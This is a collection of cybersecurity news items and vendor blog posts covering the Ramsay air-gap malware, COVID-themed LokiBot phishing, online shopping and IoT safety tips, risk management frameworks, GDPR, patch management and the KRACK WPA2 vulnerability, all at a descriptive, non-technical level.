“ESET researchers have discovered a previously unreported cyber-espionage framework that we named Ramsay and that is tailored for collection and exfiltration of sensitive documents and is capable of operating within air‑gapped networks.” reads the report published by ESET.

The malware was specifically designed to jump the air gap and reach computers withing the isolated networks to steal sensitive information.

The researchers found a sample of the Ramsay after it was uploaded to VirusTotal from Japan, then they discovered further components and versions of the framework, a circumstance that suggest the framework is still under active developmental stage.

Experts speculate that at least three variants of the malware exist, tracked as v1, v2.a, and v2.b. Ramsay v1 was first compiled in September 2019, and is also the least complex.

The v2.a and v2.b samples have been compiled on March 8 and March 27, respectively, both include a rootkit component, but experts noticed that only 2.a implements spreading capabilities.

Experts report that the less complex versions of the malware are dropped by weaponized documents exploiting CVE-2017-0199 and CVE-2017-11882, RCE vulnerabilities.

The Ramsay v2.a is delivered using a fake installer for the 7-zip file compression utility.

ramsay

Ramsay allows attackers to collect all Microsoft Word documents on the target computer, most recent variants are also able to exfiltrate PDF files and ZIP‌ archives on network drives and removable drives.

ESET researchers were not able to identify any Ramsay exfiltration module used by the malicious code.

ESET did not attribute the Ramsay malware to a specific threat actor, researchers only notice some similarities with the Retro malware family employed by the DarkHotel APT group.

“Based on the different instances of the framework found Ramsay has gone through various development stages, denoting an increasing progression in the number and complexity of its capabilities. Developers in charge of attack vectors seem to be trying various approaches such as old exploits for Word vulnerabilities from 2017 as well as deploying trojanized applications.” concludes ESET.

“We interpret this as that developers have a prior understanding of the victims’ environment and are tailoring attack vectors that would successfully intrude into targeted systems without the need to waste unnecessary resources.”

Pierluigi Paganini

(SecurityAffairs – Ramsay malware, hacking)

The post New Ramsay malware allows exfiltrating files from air-gapped computers appeared first on Security Affairs.

Crooks continues to use COVID-19 lures, Microsoft warns

Microsoft discovered a new phishing campaign using COVID-19 lures to target businesses with the infamous LokiBot information-stealer.

Microsoft has discovered a new COVID-19 themed phishing campaign targeting businesses with the LokiBot Trojan.

Lokibot was already employed in Coronavirus-themed campaigns, early of April, security experts at FortiGuard Labs discovered phishing attacks using alleged messages from the World Health Organization (WHO) to deliver the LokiBot trojan.

COVID-19 themed phishing campaigns recently observed by Microsoft was using messages with subject lines like “BUSINESS CONTINUITY PLAN ANNOUNCEMENT STARTING MAY 2020.”

The LokiBot data stealer is able to collect information from tens of different web browsers, access to browsing data, locate the credentials for more than 15 different email and file transfer clients, and check for the presence of popular remote admin tools like SSH, VNC and RDP.

One of the phishing campaigns observed by Microsoft sees attackers pretending to be from the Centers for Disease Control (CDC), the messages promise latest information on the COVID-19 pandemic and a new “BUSINESS CONTINUITY PLAN ANNOUNCEMENT STARTING MAY 2020”.

Another campaign use messages that pretend to be from a vendor asking for updated banking information to process payments due to the COVID-19 virus lockdown.

The emails in both campaigns use ARJ attachments that contain malicious executables disguised as PDF files.

The choice of password-protected ARJ files aims at bypassing some security solutions. Upon opening the enclosed files, the infection process will start to finally deliver the LokiBot Trojan.

Microsoft pointed out that its Microsoft Threat Protection’s machine learning algorithms were able to detect the campaign, Microsoft users are automatically protected by the Microsoft Defender.

“Microsoft Defender’s advanced detection technologies, including behavior learning and machine learning, started blocking this attack right away. We used deeper analysis of the blocked attacks, which helped us to identify the end-to-end campaign detailed,” Tanmay Ganacharya, director of security research of Microsoft Threat Protection, told BleepingComputer.

“We see a lot of benefits of leveraging machine learning and we are in a very unique position here at Microsoft because of the quality and diversity of our 8.2 trillion signals we process daily through the Microsoft Intelligent Security Graph.” 

Pierluigi Paganini

(SecurityAffairs – COVID-19, hacking)

The post Crooks continues to use COVID-19 lures, Microsoft warns appeared first on Security Affairs.

Secure IT: Shop Safe Online

Everything we do on a daily basis has some form of “trust” baked into it. Where you live, what kind of car you drive, where you send your children to school, who you consider good friends, what businesses you purchase from, etc. Trust instills a level of confidence that your risk is minimized and acceptable to you. Why should this philosophy be any different when the entity you need to trust is on the other end of an Internet address? In fact, because you are connecting to an entity that you cannot see or validate, a higher level of scrutiny is required before they earn your trust. What Universal Resource Locator (URL) are you really connecting to? Is it really your banking website or new online shopping website that you are trying for the first time? How can you tell?

It’s a jungle out there. So we’ve put together five ways you can stay safe while you shop online:

  1. Shop at sites you trust. Are you looking at a nationally or globally recognized brand? Do you have detailed insight into what the site looks like? Have you established an account on this site, and is there a history that you can track for when you visit and what you buy? Have you linked the valid URL for the site in your browser? Mistyping a URL in your browser for any site you routinely visit can lead you to a rogue website.

  2. Use secure networks to connect. Just as important as paying attention to what you connect to is to be wary of where you connect from. Your home Wi-Fi network that you trust—okay. An open Wi-Fi at an airport, cyber café, or public kiosk—not okay. If you can’t trust the network, do not enter identifying information or your payment card information. Just ask our cybersecurity services experts to demonstrate how easy it is to compromise an open Wi-Fi network, and you’ll see why we recommend against public Wi-Fi for sensitive transactions.

  3. Perform basic checks in your browser. Today’s modern browsers are much better at encrypted and secure connections than they were a few years ago. They use encrypted communication by leveraging a specific Internet protocol, hypertext transfer protocol secure (HTTPS). This means that there is a certificate associated with this site in your browser that is verified before you are allowed to connect and establish the encrypted channel. (Just so you know, yes, these certificates can be spoofed, but that is a problem for another day). How do you check for this certificate? Look up in your browser title bar.

  4. Create strong password for your shopping sites. This issue is covered in another blog post, but use longer passwords, 10–12 characters, and keep them in a safe place that cannot be compromised by an unauthorized person. If a second factor is offered, use it. Many sites will send you a code to your smartphone to type into a login screen to verify you are who you say you are.

  5. Don’t give out information about yourself that seems unreasonable. If you are being asked for your social security number, think long and hard, and then longer and harder, about why that information should be required. And then don’t do it until you ask a trusted source about why that would be necessary. Be wary of anything you see when you are on a website that does not look familiar or normal.

We all use the Internet to shop. It is super convenient, and the return on investment is awesome. Having that new cool thing purchased in 10 minutes and delivered directly to your door—wow! Can you ever really be 100% sure that the Internet site you are visiting is legitimate, and that you are not going to inadvertently give away sensitive and/or financial information that is actually going directly into a hacker’s data collection file? Unfortunately, no. A lot of today’s scammers are very sophisticated. But as we discussed up front, this is a trust- and risk-based decision, and if you are aware that you could be compromised at any time on the Internet and are keeping your eyes open for things that just don’t look right or familiar, you have a higher probability of a safe online shopping experience.

To recap:

  • Visit and use sites you know and trust
  • Keep the correct URLs in your bookmarks (don’t risk mistyping a URL).
  • Check the certificate to ensure your connection to the site is secured by a legitimate and active certificate.
  • Look for anything that is not familiar to your known experience with the site.
  • If you can, do not save credit card or payment card information on the site. (If you do, you need to be aware that if that site is breached, your payment data is compromised.)
  • Use strong passwords for your shopping site accounts. And use a different password for every site. (No one ring to rule them all!)
  • If a site offers a second factor to authenticate you, use it.
  • Check all your payment card statements regularly to look for rogue purchases.
  • Subscribe to an identity theft protection service if you can. These services will alert you if your identity has been compromised.

Safe shopping!

The post Secure IT: Shop Safe Online appeared first on Connected.

Best Practices for Keeping Tabs on Your Apps

Let’s start this conversation out with the definition of device. The list of what constitutes one is growing. For now, let’s say that you have a home computer (desktop, laptop, or both), work computer (desktop, laptop, or both), home tablet, work tablet, personal smartphone, and work smartphone. This is a pretty extensive list of devices that an adversary could use to attack you professionally and personally. But what about your Amazon Alexa or gadgets, smart toys, and smart clocks? What about Google Assistant or Microsoft Cortana? Do you also have a SmartTV? What about NEST, Wink, WeMo, SensorPush, Neurio, ecobee4, Philips Hue, Smart Lock, GarageMate? Hoo boy! The list of connected devices goes on and on.

Are all of these devices safe to use? Well, the simple answer is no—unless you specifically paid attention to its security. Also, for your smart devices that work via voice control, do you know who might be listening on the other end? To make things worse, many of these devices are also used in the corporate world, because they are easy to deploy, and are very affordable.

What about applications? Did the developer that created the application you are using ensure they used good secure coding techniques? Or is there a likelihood they introduced a flaw in their code? Are the servers for the application you are running in the cloud secure? Is the data you are storing on these cloud systems protected from unauthorized access?

All really good questions we rarely ask ourselves—at least before we use the latest and coolest applications available. We all make risk-based decisions every day, but do we ever ensure we have all the data before we make that risk-based decision?

What Can You Do?

Start by doing whatever homework and research you can. Make sure you understand the social engineering methods that the malicious actors are currently using. Unsolicited phone calls from a government agency (like the IRS), a public utility, or even Microsoft or Apple are not legitimate. No you don’t owe back taxes, no your computer has not been hacked, no you don’t need to give out sensitive personal information to your power company over the phone.

How Can You Choose Safe Applications?

Simply Google “Is this <name of application> secure?” Never install an application that you don’t feel you can trust. Using an application is all about risk management. Make sure you understand the potential risk to device and data compromise, prior to choosing to use it.

How Can You Better Secure Your Home Network?

  1. Upon installation of any device, immediately change the login and password. These are often stored in the configuration files that come with the product, therefore are easy to look up.
  2. Change the login and password on your home Wi-Fi router frequently.
  3. Ensure the software for anything that connects is up to date.
  4. Make sure you have a clear sense of where your sensitive data is stored—and how it is protected. Is it adequately protected—or, better yet, encrypted?
  5. When in doubt, don’t connect an IoT device to the Internet.

Lastly, look at some solutions that can be added to your home Wi-Fi network, that provide additional layers of protection and detection against IoT and other advanced attacks. F-Secure Sense Gadget is one such solution, as is Luma smart Wi-Fi router, Dojo, and CUJO. Dojo, for example, monitors all incoming and outgoing traffic and performs analysis looking for malicious traffic. With known weaknesses in IoT and home networks in general, solutions like the above are a good investment.

Don’t Give Hackers Easy Access

Not long ago, a casino in the Northeast had a fish tank in their lobby. To make management of the fish tank easier, they installed an IoT-enabled thermostatic control to set and monitor water temperature in the tank. The thermostatic control was connected to their internal network, as well as IoT-enabled to allow easy access from anywhere on the Internet. The device was breached from the Internet by malicious actors, and the internal network was penetrated, allowing the hackers to steal information from a high-roller database before devices monitoring the network were able to identify the unauthorized data leaving the network and shut it down. A classic case of what can happen without the right due diligence.

Try and follow this motto. Just because you can, does not mean you should. The latest shiny IT gadget that will make you seem cool, or potentially make some portion of your life easier to manage, should be evaluated thoroughly for security weaknesses, before you turn it on and open it up to the world. Make that good risk-based decision. Not many of us would consider doing this: “Hey Alexa, open up my desktop computer so that all my sensitive data is opened for all the world to see.” Or would we?

The post Best Practices for Keeping Tabs on Your Apps appeared first on Connected.

Cyber Security: Three Parts Art, One Part Science

As I reflect upon my almost 40 years as a cyber security professional, I think of the many instances where the basic tenets of cyber security—those we think have common understanding—require a lot of additional explanation. For example, what is a vulnerability assessment? If five cyber professionals are sitting around a table discussing this question, you will end up with seven or eight answers. One will say that a vulnerability assessment is vulnerability scanning only. Another will say an assessment is much bigger than scanning, and addresses ethical hacking and internal security testing. Another will say that it is a passive review of policies and controls. All are correct in some form, but the answer really depends on the requirements or criteria you are trying to achieve. And it also depends on the skills and experience of the risk owner, auditor, or assessor. Is your head spinning yet? I know mine is! Hence the “three parts art.”

There is quite a bit of subjectivity in the cyber security business. One auditor will look at evidence and agree you are in compliance; another will say you are not. If you are going to protect sensitive information, do you encrypt it, obfuscate it, or segment it off and place it behind very tight identification and access controls before allowing users to access the data? Yes. As we advise our client base, it is essential that we have all the context necessary to make good risk-based decisions and recommendations.

Let’s talk about Connection’s artistic methodology. We start with a canvas that has the core components of cyber security: protection, detection, and reaction. By addressing each of these three pillars in a comprehensive way, we ensure that the full conversation around how people, process, and technology all work together to provide a comprehensive risk strategy is achieved.

Related: Cyber Security is Everyone’s Business

Protection:

People
Users understand threat and risk, and know what role they play in the protection strategy. For example, if you see something, say something. Don’t let someone surf in behind you through a badge check entry. And don’t think about trying to shut off your end-point anti-virus or firewall.

Process
Policy are established, documented, and socialized. For example, personal laptops should never be connected to the corporate network. Also, don’t send sensitive information to your personal email account so you can work from home.

Technology
Some examples of the barriers used to deter attackers and breaches are edge security with firewalls, intrusion detection and prevention, sandboxing, and advanced threat detection.

Detection:

The average mean time to identify an active incident in a network is 197 days. The mean time to contain an incident is 69 days.

People
Incident response teams need to be identified and trained, and all employees need to be trained on the concept of “if you see something, say something.” Detection is a proactive process.

Process
What happens when an alert occurs? Who sees it? What is the documented process for taking action?

Technology
What is in place to ensure you are detecting malicious activity? Is it configured to ignore noise and only alert you of a real event? Will it help you bring that 197-day mean time to detection way down?

Reaction:

People
What happens when an event occurs? Who responds? How do you recover? Does everyone understand their role? Do you War Game to ensure you are prepared WHEN an incident occurs?

Process
What is the documented process to reduce the Kill Chain—the mean time to detect and contain—from 69 days to 69 minutes? Do you have a Business Continuity and Disaster Recovery Plan to ensure the ability to react to a natural disaster, significant cyber breach such as ransomware, DDoS, or—dare I say it—a pandemic?

Technology
What cyber security consoles have been deployed that allow quick access to patch a system, change a firewall rule, switch ACL, or policy setting at an end point, or track a security incident through the triage process?

All of these things are important to create a comprehensive InfoSec Program. The science is the technology that will help you build a layered, in-depth defense approach. The art is how to assess the threat, define and document the risk, and create a strategy that allows you to manage your cyber risk as it applies to your environment, users, systems, applications, data, customers, supply chain, third party support partners, and business process.

More Art – Are You a Risk Avoider or Risk Transference Expert?

A better way to state that is, “Do you avoid all risk responsibility or do you give your risk responsibility to someone else?” Hint: I don’t believe in risk avoidance or risk transference.

Yes, there is an art to risk management. There is also science if you use, for example, The Carnegie Mellon risk tools. But a good risk owner and manager documents risk, prioritizes it by risk criticality, turns it into a risk register or roadmap plan, remediates what is necessary, and accepts what is reasonable from a business and cyber security perspective. Oh, by the way, those same five cyber security professional we talked about earlier? They have 17 definitions of risk.

As we wrap up this conversation, let’s talk about the importance of selecting a risk framework. It’s kind of like going to a baseball game and recognizing the program helps you know the players and the stats. What framework will you pick? Do you paint in watercolors or oils? Are you a National Institute of Standards (NIST) artist, an Internal Standards Organization artist, or have you developed your own framework like the Nardone puzzle chart? I developed this several years ago when I was the CTO/CSO of the Commonwealth of Massachusetts. It has been artistically enhanced over the years to incorporate more security components, but it is loosely coupled on the NIST 800-53 and ISO 27001 standards.

When it comes to selecting a security framework as a CISO, I lean towards the NIST Cyber Security Framework (CSF) pictured below. This framework is comprehensive, and provides a scoring model that allows risk owners to measure and target what risk level they believe they need to achieve based on their business model, threat profile, and risk tolerance. It has five functional focus areas. The ISO 27001 framework is also a very solid and frequently used model. Both of these frameworks can result in a Certificate of Attestation demonstrating adherence to the standard. Many commercial corporations do an annual ISO 27001 assessment for that very reason. More and more are leaning towards the NIST CSF, especially commercial corporations doing work with the government.

The art in cyber security is in the interpretation of the rules, standards, and requirements that are primarily based on a foundation in science in some form. The more experience one has in the cyber security industry, the more effective the art becomes. As a last thought, keep in mind that Connection’s Technology Solutions Group Security Practice has over 150 years of cyber security expertise on tap to apply to that art.

The post Cyber Security: Three Parts Art, One Part Science appeared first on Connected.

Businesses Beware: Top 5 Cyber Security Risks

Hackers are working hard to find new ways to get your data. It’s not surprising that cyber security risk is top of mind for every risk owner, in every industry. As the frequency and complexity of malicious attacks persistently grows, every company should recognize that they are susceptible to an attack at any time—whether it comes as an external focused attack, or a social engineering attack. Let’s take a look at the top 5 risks that every risk owner should be preparing for:

  1. Your Own Users. It is commonly known, in the security industry, that people are the weakest link in the security chain. Despite whatever protections you put in place from a technology or process/policy point of view, human error can cause an incident or a breach. Strong security awareness training is imperative, as well as very effective documented policies and procedures. Users should also be “audited” to ensure they understand and acknowledge their role in policy adherence. One area that is often overlooked is the creation of a safe environment, where a user can connect with a security expert on any issue they believe could be a problem, at any time. Your security team should encourage users to reach out. This creates an environment where users are encouraged to be part of your company’s detection and response. To quote the Homeland Security announcements you frequently hear in airports, “If you see something, say something!” The biggest threat to a user is social engineering—the act of coercing a user to do something that would expose sensitive information or a sensitive system.
  2. Phishing. Phishing ranks number three in both the 2018 Verizon Data Breach Investigation Report Top 20 action varieties in incidents and Top 20 action varieties in breaches. These statistics can be somewhat misleading. For example, the first item on the Top 20 action varieties in breaches list is the use of stolen credentials; number four is privilege abuse. What better way to execute both of those attacks than with a phishing scam. Phishing coerces a user through email to either click on a link, disguised as a legitimate business URL, or open an attachment that is disguised as a legitimate business document. When the user executes or opens either, bad things happen. Malware is downloaded on the system, or connectivity to a Command and Control server on the Internet is established. All of this is done using standard network communication and protocols, so the eco-system is none the wiser—unless sophisticated behavioral or AI capabilities are in place. What is the best form of defense here? 1.) Do not run your user systems with administrative rights. This allows any malicious code to execute at root level privilege, and 2.) Train, train, and re-train your users to recognize a phishing email, or more importantly, recognize an email that could be a phishing scam. Then ask the right security resources for help. The best mechanism for training is to run safe targeted phishing campaigns to verify user awareness either internally or with a third-party partner like Connection.
  3. Ignoring Security Patches. One of the most important functions any IT or IT Security Organization can perform is to establish a consistent and complete vulnerability management program. This includes the following key functions:
    • Select and manage a vulnerability scanning system to proactively test for flaws in IT systems and applications.
    • Create and manage a patch management program to guard against vulnerabilities.
    • Create a process to ensure patching is completed.
  4. Partners. Companies spend a lot of time and energy on Information Security Programs to address external and internal infrastructures, exposed Web services, applications and services, policies, controls, user awareness, and behavior. But they ignore a significant attack vector, which is through a partner channel—whether it be a data center support provider or a supply chain partner. We know that high-profile breaches have been executed through third partner channels, Target being the most prominent.The Target breach was a classic supply chain attack, where they were compromised through one of their HVAC vendors. Company policies and controls must extend to all third-party partners that have electronic or physical access to the environment. Ensure your Information Security Program includes all third partner partners or supply chain sources that connect or visit your enterprise. The NIST Cyber Security Framework has a great assessment strategy, where you can evaluate your susceptibility to this often-overlooked risk.
  5. Data Security. In this day and age, data is the new currency. Malicious actors are scouring the Internet and Internet-exposed corporations to look for data that will make them money. The table below from the 2018 Ponemon Institute 2018 Cost of a Data Breach Report shows the cost of a company for a single record data breach.
Cost for a Single Record Data Breach

The Bottom Line

You can see that healthcare continues to be the most lucrative target for data theft, with $408 per record lost. Finance is nearly half this cost. Of course, we know the reason why this is so. A healthcare record has a tremendous amount of personal information, enabling the sale of more sensitive data elements, and in many cases, can be used to build bullet-proof identities for identity theft. The cost of a breach in the US, regardless of industry, averages $7.9 million per event. The cost of a single lost record in the US is $258.

I Can’t Stress It Enough

Data security should be the #1 priority for businesses of all sizes. To build a data protection strategy, your business needs to:

  • Define and document data security requirements
  • Classify and document sensitive data
  • Analyze security of data at rest, in process, and in motion
  • Pay attention to sensitive data like PII, ePHI, EMR, financial accounts, proprietary assets, and more
  • Identify and document data security risks and gaps
  • Execute a remediation strategy

Because it’s a difficult issue, many corporations do not address data security. Unless your business designed classification and data controls from day one, you are already well behind the power curve. Users create and have access to huge amounts of data, and data can exist anywhere—on premises, user laptops, mobile devices, and in the cloud. Data is the common denominator for security. It is the key thing that malicious actors want access to. It’s essential to heed this warning: Do Not Ignore Data Security! You must absolutely create a data security protection program, and implement the proper policies and controls to protect your most important crown jewels.

Cyber criminals are endlessly creative in finding new ways to access sensitive data. It is critical for companies to approach security seriously, with a dynamic program that takes multiple access points into account. While it may seem to be an added expense, the cost of doing nothing could be exponentially higher. So whether it’s working with your internal IT team, utilizing external consultants, or a mix of both, take steps now to assess your current situation and protect your business against a cyber attack. Stay on top of quickly evolving cyber threats. Reach out to one of our security experts today to close your businesses cyber security exposure gap!

The post Businesses Beware: Top 5 Cyber Security Risks appeared first on Connected.

Be a Conscientious Risk Manager

Whether you are a CIO or CISO in the Federal, State or Local, Education, or Commercial Business areas, you are all faced the with same challenge, whether you accept it or not. In the security risk management world, if the malicious actor wants into your network, they will figure out a way to get in. You of course still need to build a comprehensive risk governance and management plan, but that plan must be built on the premise of how you will respond, when the breach occurs.

Having spent 38 years in Information Security, the one constant that I see, is that the individuals who make it their business to steal or disrupt your data, are better funded, better trained, and have unlimited hours to execute their trade. What we hope to achieve is being a half-step behind them at worst case. There is no way to stay in step, and a step ahead is out of the question.

So what does this really mean to the conscientious risk manager. Create a strategy whereby you frequently identify the threat, and measure the risk against that threat in your as-built infrastructure. Test frequently, outside and inside, using he same tools and techniques the malicious actors use. Test user security awareness, as we know it only takes one click of a phishing email malicious link, to potentially bring down and entire enterprise. Measure, document, prioritize, and build a risk roadmap strategy to keep risk mitigation focus on those most critical exploitable areas.

Three Top Security Imperatives
Keep in mind that your top three security imperatives are: Reducing your threat exposure, enhancing your response and recovery times, and increasing security visibility. What does security visibility mean, implementing the people, process, and technology in key security areas, to give you a fighting chance to detect, and react to malicious and advanced persistent threats.

Let’s talk people, process, and technology. We all know users are the weakest link in any security chain. Not because they have sinister intent, although sometimes they do, but primarily because in today’s high-powered technical, mobile, and social world, it is commonplace for a lapse in judgment to occur. We live in a rapid–fire, high-availability, high-output world, and mistakes can and will be made. So make is less commonplace, train and educate often, and monitor closely for when that lapse in judgment occurs.

Process: Again our high-powered technical, mobile, and social world often demands we run at warp speed.  Who has time to document? Well — make the time.  Good documentation to include process, policies and standards, as well as a documented and managed configuration control process, will help keep you more secure. Every process, policy and standard document has to have an assigned owner, has to have a designated review date, and has to have an oversight or governance process. All roles and responsibilities need to be included in the documentation, and the expected outcome needs to be defined. Make the time to prepare and socialize your critical information security program documentation.

Technology: Many risk owners fall prey to purchasing every piece of security technology available, at what I like to call the security “choke points”, end-point, network, edge, gateway, etc. This is just what everyone does. However, why not use the process we discussed above — measure, document, prioritize, and build a risk roadmap strategy — as your guideline for what you purchase and deploy for technology. Ask yourself — what is so wrong with selecting and implementing a product, only after you validate how it will help you manage your documented security risk? Of course the answer to that is — nothing.

Focus on Seamless Collaboration
You have documented your risk, you have prioritized your risk roadmap, and as a result you know the very specific technology, or set of technologies, you need to implement first. Most importantly, your technology selections should focus on products that collaborate in a seamless way. In other words, your end-point, edge, network, gateway, sandbox, etc., security technologies all talk to each other. We call this approach to complete security visibility across the whole landscape, Unified Security Stack. And, don’t forget that all technology must have a people and process component as well.

Good information security risk management and risk governance does not come by accident.  It takes planning and execution. In the end, although you may not keep the bad guy out, you will be better prepared for when.

The post Be a Conscientious Risk Manager appeared first on Connected.

Understanding the GDPR

The European Union’s Parliament approved and adopted the General Data Protection Regulation (GDPR) in April 2016. This regulation will take effect after a two-year transitional period, meaning it will be fully enforced on May 25, 2018. At this time, if organizations are non-compliant, they will face hefty fines. There is a tiered approach to these fines; however, at a maximum an organization can be charged 4% of annual global turnover or 20 million euros ($23,554,200).

The GDPR applies to all organizations that process and hold the personal information of EU residents, regardless of the company’s location. To exemplify, the regulation pertains to all organizations located within the EU, as well as organizations that are located outside of the EU that offer good, services, or observe the behavior of EU citizens. These rules also apply to both controllers and processors of information, meaning that the cloud and other technologies are not exempt from the GDPR.

If information can be used to identify a person, directly or indirectly, it is protected under the GDPR. This includes but is not limited to names, email addresses, financials, medical data, and computer IPs.

Steps to take to prepare for the GDPR:

  1. Perform a compliance audit against the GDPR legal framework to identify where gaps exist, then work to remediate these shortcomings.
  2. Classify the personal data your organization possesses that is protected by the GDPR and implement the appropriate security measures. This includes understanding what information you have, where it came from, who it is shared with, and who has access to it.
  3. Appoint a data protection officer for your organization.
  4. Document all processes and keep a record for the Data Protection Association (DPA) in the country or countries your organization conducts business.
  5. Make sure the appropriate contracts are in place to protect your organization and ensure that the businesses you engage with are employing the same security measures.

Infringements of the GDPR include:

  • Not having sufficient customer consent to process personal information.
  • Not having records in order.
  • Violating the “Privacy by Design” and “Privacy by Default” concepts.
  • Failing to notify the data subject and the supervising authority about a breach or incident.
  • Not conducting an impact assessment.

Altogether, the GDPR is the most important change to data privacy regulations in decades. It is intended to make organizations more secure and accountable to their data subjects during all stages of their interactions. For more questions or to implement GDPR standards in your organization, please CONTACT US.

Patch Management

Cyber security controls are only effective if there are no means of bypassing them. If a vulnerability exists that enables someone or something to circumvent your organization’s existing set of security standards, your whole network could then be compromised. With the rise of cybercriminals targeting known vulnerabilities on unpatched systems, especially through worms and malicious code, implementing a patch management system in your organization is critical to maintaining a strong security posture.

Patch management is the routine procedure of administering updates for all technologically based products and programs, primarily applications and operating system versions. The goal is to create a securely configured digital environment in your organization that is consistently protected against all known vulnerabilities.

To be successful, patch management must be an ongoing process in which your system administrator or managed services provider:

  1. Maintains knowledge of available patches.
  2. Determines what patches are appropriate for the specific systems.
  3. Prioritizes the patches and protects your most critical vulnerabilities first.
  4. Tests the patches on non-critical systems before installation.
  5. Performs backups before installing a patch.
  6. Installs patches and makes sure they work properly.
  7. Tests the systems after installation.
  8. Documents all installed patches and the processes utilized.

Patch management is a critically important aspect of cyber security risk management because outbreaks like WannaCry occur because of unpatched vulnerabilities being exploited. In an organization with hundreds of systems, it only takes one compromised system to then harm the entire network. Altogether, in the technological world, there is rarely, if ever, a software or application that is developed without having to be modified or upgraded. As a result, a process must be implemented to distribute patches and remediate known vulnerabilities.

If you would like to discuss patch management in your organization, please CONTACT US.

National Cyber Security Awareness Month

Although National Cyber Security Awareness Month is coming to a close, COMPASS maintains a commitment to raising cyber security awareness throughout the year. The following are this year’s top blog posts that demonstrate ways to implement cyber security risk management in your organization and minimize the threats you may face.

  1. A Risk Manager’s Approach to Cyber Security 

Cyber security threats arguably pose the greatest danger to an organization’s risk management strategy. Risk managers should leverage their organization’s existing risk governance processes and methodologies to effectively analyze and manage cyber threats.

  1. Top 10 Assessment Findings

Although COMPASS’ client base is highly diverse, there are common findings we encounter on almost every single engagement. They are grouped by our approach to cyber security risk management which focuses on the 3 pillars of cyber security – people, policy and technology.

It is important for organizations to regularly assess not only their technical infrastructure, but also their organizational security awareness and policies. Organizations that fail to perform periodic assessments risk leaving themselves exposed to hackers who can exploit these vulnerabilities or negligent insiders who expose data unintentionally.

  1. 5 Steps to Develop a Security Program

Developing a practical and effective cyber security plan is vital to incorporating security into your organization’s risk management strategy. A common misconception is that a cyber security plan is lengthy and difficult to follow. However, that does not have to be the case. COMPASS recommends 5 steps for your cyber security plan.

  1. Business Email Compromise

BECs remain a prominent threat and will continue to be used in targeted scams. The victims of BEC attacks range from small business to large corporations and all employees should be aware of the dangers. Organizations that utilize robust prevention techniques have proven highly successful in recognizing and deflecting BEC attempts.

 

If you have any questions or would like to discuss the unique cyber threats your organization faces, please CONTACT US.

Protecting Critical Infrastructure from Cyber Threats

The basic infrastructure that supports our daily lives is deeply dependent on the Internet, and, therefore, continually exposed to the risk of new threats and cyber attacks. As security breaches grow in frequency and sophistication every day, it’s crucial to build resiliency and then take steps to protect critical infrastructure to remain safe and secure online.

It’s important to identify current and future strategies to protect your infrastructure and manage your risk. Cyber security is one of the biggest challenges organizations face today. Regardless of size or industry, every organization must ask themselves, is my security strategy up to date? If your organization is looking to stay on the front line of cyber security, it’s imperative to know how an end-to-end risk management strategy can help you properly secure your infrastructure.

Our security experts have an abundance of experience, and several areas of expertise we can put to work for you. We are committed to keeping your organization safe and secure, and can help design, deploy, and support solutions to address your critical risks and defend your critical infrastructure. For more information, contact one of our security experts today!

The post Protecting Critical Infrastructure from Cyber Threats appeared first on Connected.

Protecting Critical Infrastructure

In this blog, the focus is on protecting critical infrastructure—the essential systems that support our daily lives such as the electric grid, financial institutions, and transportation. Unfortunately, attacks on critical infrastructure have become a concern worldwide. A devastating attack isn’t just a theoretical possibility anymore. As we’ve recently seen with Equifax, and other security breaches in healthcare and other industries, the growing threat of serious attacks on critical infrastructure is real. These days, hackers have become much more formidable, and we will undoubtedly see more of these attacks in the future. It’s no longer a matter of if there will be another attack, but when.

Protecting your infrastructure requires constant vigilance and attention to evolving cyber attacks. Risk is inherent in everything we do, so trying to stay ahead of the cyber security curve is key. Our team of security experts can help you build a security strategy to detect, protect, and react to the complete threat lifecycle. The threats we all need to manage today evolve quickly, and we can help you minimize your risk and maximize your defenses to improve your cyber resiliency.

The post Protecting Critical Infrastructure appeared first on Connected.

The Internet Wants YOU: Consider a Career in Cyber Security.

With the continuous state of change in the global threat landscape, organizations face cyber attacks and security breaches that are growing in frequency and sophistication every day. But now, consider this: according to a study by the Center for Cyber Safety and Education, there will be a shortage of 1.8 million information security workers by 2022. This gap should be of great concern to organizations.

Skilled people make the difference in protecting sensitive data, so it’s more critical than ever that organizations begin to attract and retain the cybersecurity talent needed to defend against the evolving threat landscape. At Connection, we help inspire individuals coming out of universities to engage in co-op or intern-related opportunities, and I strongly encourage other organizations to see what they can do to help young people today who are really interested in building their skills in this area.

The figures don’t lie. The demand for cyber security will only continue to grow. Through local collaborative efforts between employers, training providers, and community leaders, we can ensure individuals have the opportunity to build on their tech knowledge and participate in a secure, thriving economy.

The post The Internet Wants YOU: Consider a Career in Cyber Security. appeared first on Connected.

Cyber Security Careers Are in High Demand

It’s impossible to overstate the importance of security in today’s digital world. Cyber attacks are growing in frequency and sophistication every day, and a key risk to our economy and security is the lack of professionals to protect our growing networks. According to a study by the Center for Cyber Safety and Education, by 2022, there will be a shortage of 1.8 million information security workers. So, it’s critical that that we begin now to prepare our students—and any others who are interested in making a career move—to fill these gaps. Many colleges and universities have developed information assurance programs that help technical, security-minded students achieve a great foundation in this industry. We also challenge corporations to offer intern and co-op opportunities for students in these degree programs, so they can see what security looks like in practical, business-world applications.

Connection is committed to promoting cyber security and online safety.  Cyber security is a viable and rewarding profession and we encourage people from all backgrounds to see information security as an essential career path.

Read this next:

The post Cyber Security Careers Are in High Demand appeared first on Connected.

WPA2 Hacks and You

The world has been rocked once again with a serious flaw in a basic security mechanism that we all take for granted to keep us safe and secure. According to Dark Reading, researchers at Belgium’s University of Leuven have uncovered as many as 10 critical vulnerabilities in the Wi-Fi Protected Access II (WPA2) protocol used to secure Wi-Fi networks. This is a protocol that—as we have all learned over the last several years—must be configured to keep us safe.

The key reinstallation attack—or KRACKs—impacts all modern wireless networks using the WPA2 protocol. The flaw gives attackers the ability to decrypt data packets that make all private (encrypted) communication no longer private. Although the flaw requires the attacker to have close proximity to the network to execute, this is especially bad news for those with far-reaching wireless signals—such as hotel and hospital lobbies—where an attacker can just sit down and work their trade.

The Vulnerability Notes Database provides a summary and detailed description of the vulnerabilities. It includes a list of vendors who may be affected by the vulnerability, and a status field indicating whether the vendor has any products that are affected.

What can you do?

Vendors are currently identifying their affected products and working on patches to address this attack. In the meantime, here are a few things you can do to keep your information safe:

  1. Apply patches as they are released
  2. Pay careful attention to your wireless environment
  3. Watch for people and technology that look out of place
  4. Utilize a trusted VPN solution
  5. When possible, transfer data over an encrypted channel—such as HTTPS
  6. Restrict sensitive information that would normally pass over a wireless network
  7. And, as always, it’s a good practice to monitor access logs and wireless traffic to look for anomalies in standard business communication

How has this WiFi vulnerability affected your organization? Leave a comment bellow to share your experience and any additional advice you have for staying protected.

Read this next:
